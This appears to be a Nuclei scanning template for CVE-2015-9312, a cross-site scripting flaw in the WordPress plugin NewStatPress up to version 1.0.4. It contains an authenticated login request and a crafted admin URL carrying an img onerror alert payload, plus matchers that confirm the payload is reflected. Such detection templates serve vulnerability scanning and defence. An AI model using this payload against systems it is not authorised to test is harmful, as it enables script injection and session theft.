53 lines
2.4 KiB
YAML
53 lines
2.4 KiB
YAML
id: CVE-2015-9312
|
|
|
|
info:
|
|
name: NewStatPress <=1.0.4 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file "includes/nsp_search.php", several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: Fixed in version 1.0.6
|
|
reference:
|
|
- https://wpscan.com/vulnerability/46bf6c69-b612-4aee-965d-91f53f642054
|
|
- https://g0blin.co.uk/g0blin-00057/
|
|
- https://wordpress.org/plugins/newstatpress/#developers
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2015-9312
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2015-9312
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00088
|
|
epss-percentile: 0.3753
|
|
cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: newstatpress_project
|
|
product: newstatpress
|
|
framework: wordpress
|
|
tags: cve2015,cve,xss,authenticated,wp,newstatpress,wpscan,wordpress,wp-plugin,newstatpress_project
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- 'contains(body_2, "<img src=x onerror=alert(document.domain)")'
|
|
- 'contains(body_2, "newstatpress")'
|
|
condition: and
|
|
# digest: 4a0a004730450220037d8f0bfcb38c7129786dee63ddb500a58c16761f4ce70ef0193c8f7f20b0310221009fed2f7d8acb83f7524e7ac38840dc841af14e6d78431c131dc5131b2b1502bb:922c64590222798bb761d5b6d8e72950 |